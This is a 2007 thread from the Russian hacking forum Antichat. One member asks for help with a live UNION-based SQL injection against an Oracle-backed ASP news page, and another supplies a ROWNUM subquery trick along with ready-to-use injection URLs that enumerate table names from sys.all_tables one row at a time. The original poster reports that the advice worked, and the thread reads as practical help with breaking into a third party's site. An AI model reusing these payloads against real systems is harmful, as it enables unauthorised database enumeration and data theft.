Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

29.08.2007, 18:45
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
rownum в Oracle
Есть SQL-инъекция в Oracle, подобрано количество полей (9), а также те из них, которые могут выводить инфу. При попытке получить названия таблиц из sys.all_tables выводится только первое значение. Я знаю, что в Oracle нет аналога LIMIT'а, но есть rownum. Но когда я пробую запрос типа
http://site.com/news.asp?id=-1+UNION+SELECT+null,to_char(TABLE_NAME),NULL,NULL, NULL,NULL,NULL,NULL,NULL+FROM+sys.all_tables+where +rownum+<=+10--
получаю ошибку
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC driver for Oracle][Oracle]ORA-00936: missing expression
/news.asp, line 31
В чем может быть проблема?
|
|
|

29.08.2007, 18:58
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
в том что это Ole Db.
|
|
|

30.08.2007, 17:28
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
|
|
|

30.08.2007, 18:15
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
подробности в сапорте у майкрофсофта. не сталкивался раньше но предположу что данные храняться в файлах как а джет дб, из-за этого другой синтаксис запросов.
|
|
|

31.08.2007, 10:42
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
[ cash ], я так и знал что ты это скажешь. Какой нахрен в файлах? Ты описание ошибки видел? ORA-00936... Это именно от оракла пришла ошибка... Прежде чем что-то говорить про OLE DB посмотри что говорит Knowledge Xpert for PL/SQL Development:
ORA-00936 missing expression
Cause: A required part of a clause or expression has been omitted. For example, a SELECT statement may have been entered without a list of columns or expressions or with an incomplete expression. This message is also issued in cases where a reserved word is misused, as in SELECT TABLE.
Action: Check the statement syntax and specify the missing component
Переведу:
ORA-00936 отсутствует выражение
Причина: Обязательная часть условия или выражения была пропущена. Например, оператор SELECT мог быть введён без списка колонок и выражений, или же с незаконченным списком. Это сообщение так же может быть вызвано в случае неверного использования зарезервированного слова, как например в выражении SELECT TABLE.
Исправление: проверьте синтаксис выражения и добавьте недостающие конструкции.
А проблема скорее всего связана со спецификой запроса... Он формируется динамически, то есть в зависимости от условия к нему что-то приписывается... И очередная приписка приводит к некорректному синтаксису запроса.
И насчёт подбора столбцов... Факов до фига по Oracle, везде используют ROWNUM, но никто не описал такую простую конструкцию:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN X AND X
Задавая X - можно спокойно перемещаться по списку записей, пускай это несколько усложнит запрос, зато будет однозначность - возвращаться всегда будет одна запись. То есть:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 1 AND 1
Вернёт первую запись
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 2 AND 2
Вернёт вторую запись и т.д.
[Raz0r], то есть, в твоём случае надо попробовать что-то типа такого:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+1+AND+ 1
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+2+AND+ 2
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+3+AND+ 3
и т.д.
|
|
|

01.09.2007, 20:41
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
groundhog, честно говоря не ожидал, что кто-то сумеет мне помочь, но ты мне реально помог, большое спасибо!
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|